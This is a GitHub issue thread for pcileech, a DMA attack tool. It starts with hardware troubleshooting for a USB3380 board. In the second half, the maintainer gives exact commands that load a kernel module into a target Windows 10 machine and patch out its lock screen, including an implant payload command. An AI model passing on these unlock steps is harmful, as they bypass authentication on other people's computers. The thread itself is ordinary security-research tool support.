ufrisk / pcileech

Direct Memory Access (DMA) Attack Software
GNU Affero General Public License v3.0
4.87k stars 718 forks source link

USB3380 Speed only 25K #27

Closed xssuser closed 6 years ago

xssuser commented 6 years ago

I used P15S-P15FM.2 to mPCIe Extender Board + USB3380 Evaluation Board

when i run pcileech.exe dump ,the speed only 25k-35k

Attack computer is USB3.0 and screen print

Device Info: USB330 running at USB2 speed.

why? hope help

thanks

ufrisk commented 6 years ago

25-35k is very slow indeed, I cannot see that you attached a screenshot, but since the output says your're running at USB2 speed there is clearly something wrong.

1) are you using an USB3 cable 2) are you connecting the USB3 cable to a USB3 port on your attacker PC? (some computer have both USB2 and USB3 ports) 3) if you are indeed connected to USB3 using an USB3 cable sometimes it might help to reboot both the target (victim) system and the attacker computer.


Also I recommend testing with the shortest flat cable they send with the P15S adapter; the long frequently gives various problems. Not USB2 problems on the USB2 side though.

Please let me know how it goes.

xssuser commented 6 years ago

All right, the problem is solved

My USB3 port is 2.0, change to 3.0 it's OK

The Other Question

Attack system ver is win10 x64 10.0.16299.125 Target system ver is win10 x64 10.0.16299.125

i need to unlock lock screen

pcileech.exe kmdload -kmd win10x64_ntfs_20160329 -pt -sig unlock_win10x64

Is that right?

ufrisk commented 6 years ago

almost correct, you can use pcileech.exe patch -kmd win10x64_ntfs_20160329 -pt -sig unlock_win10x64


alternatively if you first load the kernel module and then unlock it.

load kernel module with: pcileech.exe kmdload -kmd win10x64_ntfs_20160329 -pt (original method) or pcileech.exe kmdload -kmd win10_x64 (generic method) if it works (and you don't get a bluescreen which happens some times) you'll get an address of the loaded kernel module.

Then unlock with: pcileech.exe patch -kmd 0x<address_from_previous_step> -pt -sig unlock_win10x64 or if you use the faster implant payload into the target system kernel and do the search from there: pcileech.exe wx64_unlock -kmd 0x<address_from_previous_step>